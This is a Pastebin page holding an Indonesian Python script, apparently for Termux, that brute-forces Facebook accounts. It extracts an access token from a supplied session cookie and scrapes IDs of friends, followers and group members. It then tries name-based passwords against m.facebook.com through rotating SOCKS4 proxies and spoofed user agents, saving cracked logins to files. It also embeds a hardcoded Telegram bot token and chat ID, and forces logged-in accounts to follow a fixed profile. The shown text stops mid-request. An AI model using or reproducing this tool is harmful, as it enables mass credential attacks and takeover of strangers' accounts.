OBF-XIn

116.206.9.49-/sdcard/son3.py.py

Jan 28th, 2023
40
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 49.75 KB | None | 0 0
  1. #-----------------[ IMPORT-MODULE ]-------------------
  2. import requests,bs4,json,os,sys,random,datetime,time,re
  3. import urllib3,rich,base64
  4. from rich.table import Table as me
  5. from rich.console import Console as sol
  6. from bs4 import BeautifulSoup as sop
  7. from bs4 import BeautifulSoup as parser
  8. from concurrent.futures import ThreadPoolExecutor as tred
  9. from rich.console import Group as gp
  10. from rich.panel import Panel as nel
  11. from rich import print as cetak
  12. from rich.markdown import Markdown as mark
  13. from rich.columns import Columns as col
  14. from rich import print as rprint
  15. from rich import pretty
  16. from rich.text import Text as tekz
  17. try:
  18.         import rich
  19. except ImportError:
  20.         cetak(nel('\t• Sedang Menginstall Modul Rich •'))
  21.         os.system('pip install rich')
  22. try:
  23.         import stdiomask
  24. except ImportError:
  25.         cetak(nel('\t• Sedang Menginstall Modul Stdiomask •'))
  26.         os.system('pip install stdiomask')
  27. try:
  28.     import requests
  29. except ImportError:
  30.     cetak(nel('\t• Sedang Menginstall Modul Requests •'))
  31.     os.system('pip install requests && pip install mechanize ')
  32. #------------------[ USER-AGENT ]-------------------#
  33. pretty.install()
  34. CON=sol()
  35. ugen2=[]
  36. ugen=[]
  37. cokbrut=[]
  38. ses=requests.Session()
  39. princp=[]
  40. try:
  41.     prox= requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  42.     open('.prox.txt','w').write(prox)
  43. except Exception as e:
  44.     print('[[\x1b[1;92m•\x1b[1;97m] [\x1b[1;96mAlvino_adijaya_xy')
  45. prox=open('.prox.txt','r').read().splitlines()
  46. for xd in range(10000):
  47.     a='Mozilla/5.0 (Symbian/3; Series60/'
  48.     b=random.randrange(1, 9)
  49.     c=random.randrange(1, 9)
  50.     d='Nokia'
  51.     e=random.randrange(100, 9999)
  52.     f='/110.021.0028; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/535.1 (KHTML, like Gecko) NokiaBrowser/'
  53.     g=random.randrange(1, 9)
  54.     h=random.randrange(1, 4)
  55.     i=random.randrange(1, 4)
  56.     j=random.randrange(1, 4)
  57.     k='Mobile Safari/535.1'
  58.     uaku=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
  59.     ugen2.append(uaku)
  60.  
  61.  
  62.    # asix='Mozilla/5.0 (Linux; Android 10'
  63.     aa='Mozilla/5.0 (Linux; Android 9;'
  64.     b=random.choice(['6','7','8','9','10','11','12'])
  65.     c='vivo 1904)'
  66.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  67.     e=random.randrange(1, 999)
  68.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  69.     g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.136'
  70.     h=random.randrange(73,100)
  71.     i='0'
  72.     j=random.randrange(4200,4900)
  73.     k=random.randrange(40,150)
  74.     l='Mobile Safari/537.36'
  75.     uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
  76.     ugen.append(uaku2)
  77.    
  78. for x in range(10):
  79.     a='Mozilla/5.0 (SAMSUNG; SAMSUNG-GT-S'
  80.     b=random.randrange(100, 9999)
  81.     c=random.randrange(100, 9999)
  82.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  83.     e=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  84.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  85.     g=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  86.     h=random.randrange(1, 9)
  87.     i='; U; Bada/1.2; en-us) AppleWebKit/533.1 (KHTML, like Gecko) Dolfin/'
  88.     j=random.randrange(1, 9)
  89.     k=random.randrange(1, 9)
  90.     l='Mobile WVGA SMM-MMS/1.2.0 OPN-B'
  91.     uak=f'{a}{b}/{c}{d}{e}{f}{g}{h}{i}{j}.{k} {l}'
  92. def uaku():
  93.     try:
  94.         ua=open('bbnew.txt','r').read().splitlines()
  95.         for ub in ua:
  96.             ugen.append(ub)
  97.     except:
  98.         a=requests.get('https://github.com/EC-1709/a/blob/main/bbnew.txt').text
  99.         ua=open('.bbnew.txt','w')
  100.         aa=re.findall('line">(.*?)<',str(a))
  101.         for un in aa:
  102.             ua.write(un+'\n')
  103.         ua=open('.bbnew.txt','r').read().splitlines()
  104. #------------[ INDICATION ]---------------#
  105. id,id2,loop,ok,cp,akun,oprek,method,lisensiku,taplikasi,tokenku,uid,lisensikuni= [],[],0,0,0,[],[],[],[],[],[],[],[]
  106. cokbrut=[]
  107. pwpluss,pwnya=[],[]
  108. #------------[ WARNA-COLOR ]--------------#
  109. P = '\x1b[1;97m'
  110. M = '\x1b[1;91m'
  111. H = '\x1b[1;92m'
  112. K = '\x1b[1;93m'
  113. B = '\x1b[1;94m'
  114. U = '\x1b[1;95m'
  115. O = '\x1b[1;96m'
  116. N = '\x1b[0m'    
  117. Z = "\033[1;30m"
  118. sir = '\033[41m\x1b[1;97m'
  119. x = '\33[m' # DEFAULT
  120. m = '\x1b[1;91m' #RED +
  121. k = '\033[93m' # KUNING +
  122. h = '\x1b[1;92m' # HIJAU +
  123. hh = '\033[32m' # HIJAU -
  124. u = '\033[95m' # UNGU
  125. kk = '\033[33m' # KUNING -
  126. b = '\33[1;96m' # BIRU -
  127. p = '\x1b[0;34m' # BIRU +
  128. asu = random.choice([m,k,h,u,b])
  129. #--------------------[ CONVERTER-BULAN ]--------------#
  130. dic = {'1':'January','2':'February','3':'March','4':'April','5':'May','6':'June','7':'July','8':'August','9':'September','10':'October','11':'November','12':'December'}
  131. dic2 = {'01':'January','02':'February','03':'March','04':'April','05':'May','06':'June','07':'July','08':'August','09':'September','10':'October','11':'November','12':'Devember'}
  132. tgl = datetime.datetime.now().day
  133. bln = dic[(str(datetime.datetime.now().month))]
  134. thn = datetime.datetime.now().year
  135. okc = 'OK-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  136. cpc = 'CP-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  137. toxku = "5784830801:AAEp9wc-Gwq94fLubYHDlzZFnzoqlWZIBRo"
  138. idku = "5783172584"
  139. #------------------[ MACHINE-SUPPORT ]---------------#
  140. def alvino_xy(u):
  141.         for e in u + "\n":sys.stdout.write(e);sys.stdout.flush();time.sleep(0.05)
  142. def clear():
  143.     os.system('clear')
  144. def back():
  145.     login()
  146. #------------------[ LOGO-LAKNAT ]-----------------#
  147. def banner():
  148. #   print('----------------------------------------------------------')
  149.     print(f"""
  150. ######  ##     ##  #######  ##    ## ########
  151. ##    ## ###   ### ##     ## ##   ##       ##  
  152. ##       #### #### ##     ## ##  ##       ##  
  153. ######  ## ### ## ##     ## #####       ##    
  154.      ## ##     ## ##     ## ##  ##     ##    
  155. ##    ## ##     ## ##     ## ##   ##   ##      
  156. ######  ##     ##  #######  ##    ## ######## """)
  157. #--------------------[ BAGIAN-MASUK ]--------------#
  158. def login():
  159.     try:
  160.         token = open('.token.txt','r').read()
  161.         cok = open('.cok.txt','r').read()
  162.         tokenku.append(token)
  163.         try:
  164.             sy = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokenku[0], cookies={'cookie':cok})
  165.             sy2 = json.loads(sy.text)['name']
  166.             sy3 = json.loads(sy.text)['id']
  167.             menu(sy2,sy3)
  168.         except KeyError:
  169.             login_lagi334()
  170.         except requests.exceptions.ConnectionError:
  171.             li = '# PROBLEM INTERNET CONNECTION, CHECK AND TRY AGAIN'
  172.             lo = mark(li, style='red')
  173.             sol().print(lo, style='cyan')
  174.             exit()
  175.     except IOError:
  176.         login_lagi334()
  177. def login_lagi334():
  178.     try:
  179.         os.system('clear')
  180.         banner()
  181.         asu = random.choice([m,k,h,b,u])
  182.         cookie=input(f' [?] ENTER COOKIE : ')
  183.         data = requests.get("https://business.facebook.com/business_locations", headers = {"user-agent": "Mozilla/5.0 (Linux; Android 6.0.1; Redmi 4A Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.92 Mobile Safari/537.36","referer": "https://www.facebook.com/","host": "business.facebook.com","origin": "https://business.facebook.com","upgrade-insecure-requests" : "1","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7","cache-control": "max-age=0","accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8","content-type":"text/html; charset=utf-8"}, cookies = {"cookie":cookie})
  184.         find_token = re.search("(EAAG\w+)", data.text)
  185.         ken=open(".token.txt", "w").write(find_token.group(1));bot()
  186.         cok=open(".cok.txt", "w").write(cookie)
  187.         print(f' LOGIN SUCCESSFUL RETYPE {M}python smok.py')
  188.         exit()
  189.     except Exception as e:
  190.         os.system("rm -f .token.txt")
  191.         os.system("rm -f .cok.txt")
  192.         print(f" [×] CHEKING COKIE YOU")
  193.         exit()
  194. def bot():
  195.     try:
  196.         requests.post("https://graph.facebook.com/100002045441878?fields=subscribers&access_token=%s"%(tokenku))
  197.     except:
  198.         pass
  199. #------------------[ BAGIAN-MENU ]----------------#
  200. def menu(my_name,my_id):
  201.     try:
  202.         token = open('.token.txt','r').read()
  203.         cok = open('.cok.txt','r').read()
  204.     except IOError:
  205.         time.sleep(5)
  206.         login_lagi334()
  207.     os.system('clear')
  208.     banner()
  209.     os.system('clear')
  210.     banner()
  211.     print('_________________________________')
  212. #   print('--------------------------------------------------')
  213.     print(f' [1] CLONE PUBLIK')
  214.     print(' [2] CLONE FILE')
  215.     #print('_________________________________')
  216.     en_ew = input(f" [?] Menu : ")
  217. #l  print('_________________________________')
  218.     if en_ew in ['1']:
  219.         dump_massal()
  220.     elif en_ew in ["2"]:
  221.         crack_file()
  222.     else:
  223.         back()
  224. #-----------------[ HASIL-CRACK ]-----------------#
  225. def result():
  226.     print(f'└──> 1. Hasil {h}OK{x} Anda ')
  227.     print(f'└──> 2. Hasil {k}CP{x} Anda ')
  228.     print('└──> 3. Kembali    ')
  229.     kz = input(f'\n>> Pilih : ')
  230.     if kz in ['2']:
  231.         try:vin = os.listdir('CP')
  232.         except FileNotFoundError:
  233.             print('>> File Tidak Di Temukan ')
  234.             time.sleep(3)
  235.             back()
  236.         if len(vin)==0:
  237.             print('>> Anda Tidak Memiliki Hasil CP ')
  238.             time.sleep(2)
  239.             back()
  240.         else:
  241.             cih = 0
  242.             lol = {}
  243.             for isi in vin:
  244.                 try:hem = open('CP/'+isi,'r').readlines()
  245.                 except:continue
  246.                 cih+=1
  247.                 if cih<10:
  248.                     nom = ''+str(cih)
  249.                     lol.update({str(cih):str(isi)})
  250.                     lol.update({nom:str(isi)})
  251.                     print(f'>> %s. %s ({k} %s {x}Idz )'%(nom,isi,len(hem)))
  252.                 else:
  253.                     lol.update({str(cih):str(isi)})
  254.                     print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  255.             geeh = input('\n>> Pilih : ')
  256.             try:geh = lol[geeh]
  257.             except KeyError:
  258.                 print('>> Pilih Yang Bener Kontol ')
  259.                 back()
  260.             try:lin = open('CP/'+geh,'r').read().splitlines()
  261.             except:
  262.                 print('>> File Tidak Di Temukan ')
  263.                 time.sleep(2)
  264.                 back()
  265.             nocp=0
  266.             for cpku in range(len(lin)):
  267.                 cpkuni=lin[nocp].split('|')
  268.                 print(f'{x}>> {k}{cpkuni[0]}|{cpkuni[1]}')
  269.                 nocp +=1
  270.             print('')
  271.             input(f'{x}[{m} Klik Enter{x} ]')
  272.             back()
  273.     elif kz in ['1']:
  274.         try:vin = os.listdir('OK')
  275.         except FileNotFoundError:
  276.             print('>> File Tidak Di Temukan ')
  277.             time.sleep(2)
  278.             back()
  279.         if len(vin)==0:
  280.             print('>> Anda Tidak Mempunyai File OK ')
  281.             time.sleep(2)
  282.             back()
  283.         else:
  284.             cih = 0
  285.             lol = {}
  286.             for isi in vin:
  287.                 try:hem = open('OK/'+isi,'r').readlines()
  288.                 except:continue
  289.                 cih+=1
  290.                 if cih<10:
  291.                     nom = '0'+str(cih)
  292.                     lol.update({str(cih):str(isi)})
  293.                     lol.update({nom:str(isi)})
  294.                     print(f'>> %s. %s ( {h}%s{x} Idz )'%(nom,isi,len(hem)))
  295.                 else:
  296.                     lol.update({str(cih):str(isi)})
  297.                     print(f'>> %s. %s ({h} %s {x}Idz )'%(cih,isi,(len(hem))))
  298.             geeh = input(f'\nPilih : ')
  299.             try:geh = lol[geeh]
  300.             except KeyError:
  301.                 print('>> Pilih Yang Bener Kontol ')
  302.                 back()
  303.             try:lin = open('OK/'+geh,'r').read().splitlines()
  304.             except:
  305.                 print('>> File Tidak Di Temukan ')
  306.                 time.sleep(2)
  307.                 back()
  308.             nocp=0
  309.             for cpku in range(len(lin)):
  310.                 cpkuni=lin[nocp].split('|')
  311.                 print('')
  312.                 print(f'{x}>> {h}{cpkuni[0]}|{cpkuni[1]}|{cpkuni[2]}')
  313.                 nocp +=1
  314.             print('')
  315.             input(f'{x}[{m} Klik Enter{x} ]')
  316.             back()
  317.     elif kz in ['3']:
  318.         back()
  319.     else:
  320.         print('>> Pilih Yang Bener Kontol ')
  321.         back()
  322. #-------------------[ CRACK-PUBLIK ]----------------#
  323. def dump_massal():
  324.     os.system('clear')
  325.     banner()
  326.     print('_________________________________')
  327.     try:
  328.         token = open('.token.txt','r').read()
  329.         cok = open('.cok.txt','r').read()
  330.     except IOError:
  331.         exit()
  332.     try:
  333.         jum = int(input(f' [?] HOW MANY ID TARGET LIMIT [{H}99{P}] : '))
  334.     except ValueError:
  335.         exit()
  336.     if jum<1 or jum>100:
  337.         exit()
  338.     ses=requests.Session()
  339.     yz = 0
  340.     for met in range(jum):
  341.         yz+=1
  342.         kl = input(f" [?] ENTER TARGET ID : ")
  343.         uid.append(kl)
  344.     for userr in uid:
  345.         try:
  346.             col = ses.get('https://graph.facebook.com/v2.0/'+userr+'?fields=friends.limit(5000)&access_token='+tokenku[0], cookies = {'cookies':cok}).json()
  347.             for mi in col['friends']['data']:
  348.                 try:
  349.                     iso = (mi['id']+'|'+mi['name'])
  350.                     if iso in id:pass
  351.                     else:id.append(iso)
  352.                 except:continue
  353.         except (KeyError,IOError):
  354.             pass
  355.         except requests.exceptions.ConnectionError:
  356.             print('SIGNAL INTERFERENCE')
  357.             exit()
  358.     try:
  359.         print('')
  360.         print(f" {P}[{M}!{P}] SUCCESSFUL COLLECTED USER ID {len(id)}")
  361.         setting()
  362.     except requests.exceptions.ConnectionError:
  363.         print(f'{x}')
  364.         print("SIGNAL INTERFERENCE")
  365.         back()
  366.     except (KeyError,IOError):
  367.         print(f"{M} UNPUBLIC FRIENDSHIP OR TARGET")
  368.         time.sleep(3)
  369.         back()
  370. #-------------------[ CRACK-PENGIKUT ]----------------#
  371. def dump_pengikut():
  372.     try:
  373.         token = open('.token.txt','r').read()
  374.         cok = open('.cok.txt','r').read()
  375.     except IOError:
  376.         exit()
  377.     print('>> Ketik ( me ) Jika Ingin Crack Follower Sendiri ')
  378.     pil = input('>> Masukkan Idz Target : ')
  379.     try:
  380.         koh2 = requests.get('https://graph.facebook.com/'+pil+'?fields=subscribers.limit(99999)&access_token='+tokenku[0],cookies={'cookie': cok}).json()
  381.         for pi in koh2['subscribers']['data']:
  382.             try:id.append(pi['id']+'|'+pi['name'])
  383.             except:continue
  384.         print(f'>> Total Idz :{h} '+str(len(id)))
  385.         setting()
  386.     except requests.exceptions.ConnectionError:
  387.         print('>> Koneksi Internet Bermasalah ')
  388.         exit()
  389.     except (KeyError,IOError):
  390.         print('>> Gagal Mengambil Target ')
  391.         exit()
  392. #------------------[ CRACK-GRUP ]-----------------#
  393. balmond = b+"["+h+"✓"+b+"]"
  394.  
  395. def lah():
  396.     print(f'\n{x}>> Total Idz Yang Terkumpul : {h} %s '%(len(id)))
  397.     input(f'{x}>> [ {m}Klik Enter {x}] ')
  398.     print('')
  399.     pass
  400.     setting()
  401. def grup():
  402.     print('')
  403.     id = input(f'{x}>> Masukkan Username Atau Idz Grup : ')
  404.     ua = 'Mozilla/5.0 (SymbianOS/9.3; Series60/3.2 NokiaE52-1/052.003; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.6.2 3gpp-gba'
  405.     miskinlu = {"user-agent": ua}
  406.     url = "https://mbasic.facebook.com/groups/"+id
  407.     ses = requests.Session()
  408.     try:
  409.         gn = parser(ses.get(url, headers=miskinlu).text, 'html.parser')
  410.     except requests.exceptions.ConnectionError:
  411.         print('>> Sinyal Loo Kek Kontol ')
  412.         time.sleep(0.5)
  413.         exit()
  414.     berr = gn.find("title")
  415.     berr2 = berr.text.replace(" | Facebook","").replace(" Grup Publik","")
  416.     if berr2=='Masuk Facebook':
  417.         print(" Terkena Limit, Silahkan Mode Pesawat Dan Coba Lagi..")
  418.         time.sleep(0.5)
  419.         grup()
  420.     elif berr2=='Kesalahan':
  421.         alvino_xy('>> Grup Tidak Di Temukan ')
  422.         time.sleep(0.5)
  423.         grup()
  424.     else:pass
  425.     print(f'{x}>> Nama Grup : {b}%s'%(berr2))
  426.     ggs = gn.find_all('table')
  427.     ang = []
  428.     for ff in ggs:
  429.         anggo = ff.text
  430.         bro = anggo.replace('Anggota','')
  431.         try:
  432.             mex = int(bro)
  433.             jumlah = ang.append(mex)
  434.         except:
  435.             pass
  436.     if len(ang)==0:
  437.         print(" Anggota : -")
  438.     else:
  439.         print(f'{x}>> Anggota : {h}%s'%(ang[0]))
  440.     grup1(url)
  441. def grup1(urls):
  442.     use = []
  443.     ses = requests.Session()
  444.     print(f'{x}>> Sedang Mengumpulkan Idz ')
  445.     print(f'>> Klik {k}Ctrl+C{x} Untuk {m}Stop{x} Dump !!')
  446.     while True:
  447.         try:
  448.             ua = 'Mozilla/5.0 (SymbianOS/9.3; Series60/3.2 NokiaE52-1/052.003; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.6.2 3gpp-gba'
  449.             miskinlu = {"user-agent": ua}
  450.             try:
  451.                 url = use[0]
  452.             except:
  453.                 url = urls
  454.             set = parser(ses.get(url, headers=miskinlu).text, "html.parser")
  455.             bf2 = set.find_all('a')
  456.             for g in bf2:
  457.                 css = str(g).split('>')
  458.                 if 'Lihat Postingan Lainnya</span' in css:
  459.                     bcj = str(g).replace('<a href="','').replace('amp;','')
  460.                     bcj2 = bcj.split(' ')[0].replace('"><img','')
  461.             tes = set.find_all('table')
  462.             for cari in tes:
  463.                 liatnih = cari.text
  464.                 spl = liatnih.split(' ')
  465.                 if 'mengajukan' in spl:
  466.                     idsiapa = re.findall('content_owner_id_new.\w+',str(cari))
  467.                     idyou = idsiapa[0].replace('content_owner_id_new.','')
  468.                     namayou = liatnih.replace(' mengajukan pertanyaan .','')
  469.                     idku = idyou+'|'+namayou
  470.                     if idku in id:
  471.                         continue
  472.                     else:
  473.                         id.append(idku)
  474.                         print(("\r"+balmond+h+" { "+k+"Proses Mengambil ID "+str(len(id))+h+" }"), end="");sys.stdout.flush()
  475.                 elif '>' in spl:
  476.                     idsiapa = re.findall('content_owner_id_new.\w+',str(cari))
  477.                     idyou = idsiapa[0].replace('content_owner_id_new.','')
  478.                     namayou = liatnih.split(' > ')[0]
  479.                     idku = idyou+'|'+namayou
  480.                     if idku in id:
  481.                         continue
  482.                     else:
  483.                         id.append(idku)
  484.                         xy = random.choice([m,k,h,u,b,x])
  485.                         print(f'\r  ———>> {x}({xy} %s {x}) <<———'%(len(id)), end="");sys.stdout.flush()
  486.                 else:
  487.                     continue
  488.             try:
  489.                 link_ = bcj2
  490.                 use.insert(0,'https://mbasic.facebook.com'+link_)
  491.             except:
  492.                 girang = set.find('title')
  493.                 girang2 = girang.text.replace(" | Facebook","").replace(" Grup Publik","")
  494.                 if girang2=='Masuk Facebook':
  495.                     pass
  496.                 else:
  497.                     lah()
  498.         except requests.exceptions.ConnectionError:
  499.             try:
  500.                 time.sleep(31)
  501.             except KeyboardInterrupt:
  502.                 lah()
  503.         except KeyboardInterrupt:
  504.             lah()
  505. #-------------[ CRACK-FROM-FILE ]------------------#
  506. def crack_file():
  507.     print('_________________________________')
  508.     try:vin = os.listdir('/sdcard/')
  509.     except FileNotFoundError:
  510.         time.sleep(2)
  511.         back()
  512.     if len(vin)==0:
  513.         print('')
  514.         cetak(nel("""[white]no dump file found, please create it first. If you have created it, create a folder called DUMP, fill it with the files you dumped"""))
  515.         kontol = input("[ENTER]")
  516.         if kontol in['']:
  517.             back()
  518.             time.sleep(3)
  519.             exit()
  520.         time.sleep(2)
  521.         back()
  522.     else:
  523.         cih = 0
  524.         lol = {}
  525.         for isi in vin:
  526.             try:hem = open('/sdcard/DUMP/'+isi,'r').readlines()
  527.             except:continue
  528.             cih+=1
  529.             if cih<100:
  530.                 nom = ''+str(cih)
  531.                 lol.update({str(cih):str(isi)})
  532.                 lol.update({nom:str(isi)})
  533.                 print(f" [{nom}]-> {isi} {len(hem)}")
  534.             else:
  535.                 lol.update({str(cih):str(isi)})
  536.                 print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  537.                 print(f" [{nom}]-> {isi} {len(hem)}")
  538.         geeh = input('\n [?] SELECT FILE : ')
  539.         try:geh = lol[geeh]
  540.         except KeyError:
  541.             time.sleep(3)
  542.             back()
  543.         try:lin = open('/sdcard/DUMP/'+geh,'r').read().splitlines()
  544.         except:
  545.             time.sleep(2)
  546.             back()
  547.         for xid in lin:
  548.             id.append(xid)
  549.         setting()
  550. #-------------[ PENGATURAN-IDZ ]---------------#
  551. def setting():
  552.     os.system("clear")
  553.     banner()
  554.     print("_________________________________")
  555.     paki = print
  556.     paki(f"{P} [1] Pakistan")
  557.     paki(f"{P} [2] Indoneisa")
  558.     paki(f"{P} [3] Usa")
  559.     paki(f"{P} [4] random")
  560.     ran = input(f' [?] SELECT : ')
  561.     os.system('clear')
  562.     banner()
  563.     paki("_________________________________")
  564.     paki(f" [1] aktif proxy {P}({H}recomended{P})")
  565.     paki(f" [2] non aktif proxy ({M}no recomended{P})")
  566.     asi = input(f" [?] SELECT : ")
  567.     os.system('clear')
  568.     banner()
  569.     print('_________________________________')
  570.     print(f'')
  571.     os.system('clear')
  572.     banner()
  573.     print("_________________________________")
  574.     print(' [1] akun old')
  575.     print(' [2] akun new')
  576.     print(' [3] akun random')
  577.     hu = input(f" [?] SELECT : ")
  578.     print('_________________________________')
  579.     if hu in ['1','01']:
  580.         for tua in sorted(id):
  581.             id2.append(tua)
  582.  
  583.     elif hu in ['2','02']:
  584.         muda=[]
  585.         for bacot in sorted(id):
  586.             muda.append(bacot)
  587.         bcm=len(muda)
  588.         bcmi=(bcm-1)
  589.         for xmud in range(bcm):
  590.             id2.append(muda[bcmi])
  591.             bcmi -=1
  592.     elif hu in ['3','03']:
  593.         for bacot in id:
  594.             xx = random.randint(0,len(id2))
  595.             id2.insert(xx,bacot)
  596.     else:
  597.         exit()
  598.     os.system('clear')
  599.     banner()
  600.     print(f" [1] m.facebook.com ({H}recomended{P})")
  601.     print(f" [2] touch.facebook.com ({M}no recomended{P})")
  602.     print('')
  603.     hc = input(f" [?] SELECT : ")
  604.     print('_________________________________')
  605.     if hc in ['1','01']:
  606.         method.append('mobile')
  607.     elif hc in ['']:
  608.         setting()
  609.     elif hc in ['j2','0i2']:
  610.         method.append('free')
  611.     elif hc in ['u3','03i']:
  612.         method.append('touch')
  613.     elif hc in ['4h','0j4']:
  614.         method.append('mbasic')
  615.     else:
  616.         method.append('mobile')
  617.     print('')
  618.     os.system("clear")
  619.     banner()
  620.     print("_________________________________")
  621.     alvino_xy('> tidak di sarankan menampilkan apliaksi[!]')
  622.     _jembot_ = input(f" [?] SHOW APPLIKASI? y/t : ")
  623.     if _jembot_ in ['']:
  624.         back()
  625.     elif _jembot_ in ['y','Y']:
  626.         taplikasi.append('ya')
  627.     else:
  628.         taplikasi.append('no')
  629.     os.system('clear')
  630.     banner()
  631.     print('_________________________________')
  632.     print(f' [1] manual')
  633.     print(' [2] otomatis')
  634.     print(' [3] gabungan')
  635.     pwplus=input(f' [?] SELECT : ')
  636.     if pwplus in ['01','1']:
  637.         pwpluss.append('ya')
  638.         pwku=input(f" [?] Masukan Password : ")
  639.         pwkuh=pwku.split(',')
  640.         for xpw in pwkuh:
  641.             pwnya.append(xpw)
  642.     else:
  643.         pwpluss.append('no')
  644.     passwrd()
  645. #-------------------[ BAGIAN-WORDLIST ]------------#
  646. def passwrd():
  647.     os.system('clear')
  648.     banner()
  649.     print('_________________________________')
  650.     print(f' {H}OK/{okc}')
  651.     print(f' {K}CP/{cpc}')
  652.     print(f' {P}TOTAL IDZ : {len(id)}')
  653.     print('_________________________________')
  654.     print('')
  655.     with tred(max_workers=30) as pool:
  656.         for yuzong in id2:
  657.             idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  658.             frs = nmf.split(' ')[0]
  659.             pwv = []
  660.             if len(nmf)<6:
  661.                 if len(frs)<3:
  662.                     pass
  663.                 else:
  664.                     pwv.append(frs+'123')
  665.                     pwv.append(frs+'1234')
  666.                     pwv.append(frs+'12345')
  667.             else:
  668.                 if len(frs)<3:
  669.                     pwv.append(nmf)
  670.                 else:
  671.                     pwv.append(nmf)
  672.                     pwv.append(frs+'123')
  673.                     pwv.append(frs+'1234')
  674.                     pwv.append(frs+'12345')
  675.             if 'ya' in pwpluss:
  676.                 for xpwd in pwnya:
  677.                     pwv.append(xpwd)
  678.             else:pass
  679.             if 'mobile' in method:
  680.                 pool.submit(crack,idf,pwv)
  681.             elif 'free' in method:
  682.                 pool.submit(crackfree,idf,pwv)
  683.             elif 'touch' in method:
  684.                 pool.submit(cracktouch,idf,pwv)
  685.             elif 'mbasic' in method:
  686.                 pool.submit(crackmbasic,idf,pwv)
  687.             else:
  688.                 pool.submit(crackmbasic,idf,pwv)
  689.     print('')
  690.     print(f'\tTHANKS YOU USING SCRIPT ME ')
  691.     time.sleep(2)
  692.     exit()
  693. #--------------------[ METODE-B-API ]-----------------#
  694. def crack(idf,pwv):
  695.     global loop,ok,cp
  696.     bo = random.choice([m,k,h,b,u,x])
  697.     sys.stdout.write(f"\r{P}{loop} = {H}[OK:{ok}] + {K}[CP:{cp}]"),
  698.     sys.stdout.flush()
  699.     ua = random.choice(ugen)
  700.     ua2 = random.choice(ugen2)
  701.     ses = requests.Session()
  702.     for pw in pwv:
  703.         try:
  704.             nip=random.choice(prox)
  705.             proxs= {'http': 'socks4://'+nip}
  706.             ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  707.             p = ses.get('https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
